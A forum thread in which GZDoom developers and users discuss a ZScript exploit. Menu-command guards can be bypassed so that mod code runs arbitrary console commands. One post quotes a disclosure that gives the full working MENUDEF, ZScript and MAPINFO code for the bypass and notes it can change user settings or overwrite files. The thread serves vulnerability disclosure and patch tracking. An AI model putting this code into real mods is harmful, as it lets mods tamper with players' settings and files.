Console Command Exploit

[Graf Zahl]

This has already been fixed after 4.6.0. Current devbuilds will throw a VM abort if this is launched.

[yum13241]

This has already been fixed after 4.6.0. Current devbuilds will throw a VM abort if this is launched.

So until the next official release, I have to be careful. Edit: or I have to use devbuilds.

[TheMightyHeracross]

Interesting. I cannot reproduce on my copy of GZDoom 4.6.0.

[yum13241]

Interesting. I cannot reproduce on my copy of GZDoom 4.6.0.

Does it crash? If it's fixed, it will crash, if not, it will say "HI!"

[TheMightyHeracross]

Ah! Missed the part where I have to summon the "Evil" actor, yeah I get the message now. Good thing it's fixed already for the next version.

[yum13241]

Ah! Missed the part where I have to summon the "Evil" actor, yeah I get the message now. Good thing it's fixed already for the next version.

Yeah, thank God a fix is alr in a devbuild. Now it's time to hope the fix doesn't break stuff... and to wait too...

[Matt]

The "Hi!" will also print in LZDoom 3.87c.

Anyone have any idea when this had started working again?

[Graf Zahl]

Some time ago I changed how the menu exploit guards work to make them more robust - but I missed one of the function requiring the change so it still used the old method which no longer worked because all its helper code was removed.

[drfrag]

The "Hi!" will also print in LZDoom 3.87c.

Try with the latest devbuild.

[Matt]

The "Hi!" will also print in LZDoom 3.87c.

Try with the latest devbuild.

As of June 30, crashes to desktop with "Attempt to execute CCMD 'echo hi!' outside of menu code".

[Graf Zahl]

It doesn't crash. A VM abort is not a crash!

[Marisa the Magician]

It's not a VM abort, it's a fatal error.

[Graf Zahl]

It's still not a crash.

[Marisa the Magician]

Actually it does crash immediately after with a segfault. I should report that as a bug. It happens after any fatal error.

[yum13241]

[Developer's note: This post has been edited from its original form for clarity]

This post serves as disclosure for an exploit that was recently discovered in ZScript.

The exploit affects all versions between 3.0.0 to 3.2.3, but has been patched in 3.2.4.

The Exploit
ZScript has exposed various features to modders, one of these being the underlying code for the classes powering MENUDEF.
However, the exposure of this MENUDEF code has brought some security concerns along with it.

In MENUDEF, you are able to create menu items that will execute a console command when a user selects them, via the "Command" item.
The code behind this item has a private method named "DoCommand", which is effectively a ZScript version of Zandronum's famous "ConsoleCommand", but without the whitelist.

Normally, you aren't able to make use of DoCommand, as it's private and mostly barred off.
If the item's ZScript class is not "OptionMenuItemSafeCommand", the following checks are made:

• The command will not execute if a menu is not active.
• The command will not execute if the active menu is not an OptionMenu.
• The command will not execute if the Command item does not exist in the active menu (eg, if you created it with new()).

You would expect this to cover the hole pretty well. However, it proved to be trivial to circumvent the above checks.

You could create your own menu linked to ZScript and give it a "Command" item. From there you could modify the Command item's action (the console command it executes) and then proceed to open and close the menu to run the command. The entire MENUDEF file looks like this:

Code: Select all

OptionMenu "ConsoleCommandMenu"
{
    class "ConsoleCommandMenu"
    Command "", ""
}

And all of the ZScript backing it up is as follows:

Code: Select all

version "3.2.0"

class ConsoleCommandMenu : OptionMenu
{
    static void Execute(Name command)
    {
        Menu.SetMenu('ConsoleCommandMenu');
        let desc = OptionMenuDescriptor(MenuDescriptor.GetDescriptor('ConsoleCommandMenu'));
        let item = OptionMenuItemCommand(desc.mItems[0]);
        item.Init("", command);
        item.Activate();
        Menu.GetCurrentMenu().Close();
    }
}

class ConsoleCommand
{
    string Command;
    int    GameTic;

    static play void Execute(string command)
    {
        ConsoleCommandHandler.QueueCommand(command);
    }
}

class ConsoleCommandHandler : EventHandler
{
    private Array<ConsoleCommand> m_Commands;

    static void QueueCommand(string command)
    {
        let cmd     = new("ConsoleCommand");
        cmd.Command = command;
        cmd.GameTic = gametic;

        ConsoleCommandHandler(
            EventHandler.Find("ConsoleCommandHandler"))
                        .m_Commands.Push(cmd);
    }

    override void WorldTick()
    {
        for(int i = 0; i < m_Commands.Size(); i++)
        {
            if (m_Commands[i].GameTic == gametic - 1) continue;

            m_Commands[i].Destroy();
            m_Commands.Delete(i);

            i = -1;
        }
    }

    override void UiTick()
    {
        for(int i = 0; i < m_Commands.Size(); i++)
        {
            if (m_Commands[i].GameTic == gametic - 1)
                ConsoleCommandMenu.Execute(m_Commands[i].Command);
        }
    }
}

The ZScript code effectively queues up console commands using a custom structure, and executes them by opening and closing the menu after modifying the Command item's action (using the Init() method).
After the above code has been written, all that's left to do for this to be usable is to hook up the EventHandler in MAPINFO:

Code: Select all

GameInfo
{
    AddEventHandlers = "ConsoleCommandHandler"
}

And now we're free to execute console commands at will:

Code: Select all

ConsoleCommand.Execute("echo hi!");

Concerns
Of course, this brings with it a number of concerns. A very incomplete list of which can be found below:

• A user's settings including bindings, audio volume, player name, colour, etc can all be permanently modified.
• Files on the user's system can be overwritten with the logFile command.

As this exploit has been patched in 3.2.4 to the point of not being able to modify arbitrary files on a user's system, I strongly suggest that you update.

Sample
Attached below is a sample pk3 demonstrating the exploit. Run the sample with a version of GZDoom prior to 3.2.4 and spawn the "Evil" actor to see it in action.

Good news, a VM abort happens in 4.6.1, rather than saying "Hi!" like in 4.6.0. Thanks devs! Peace of mind.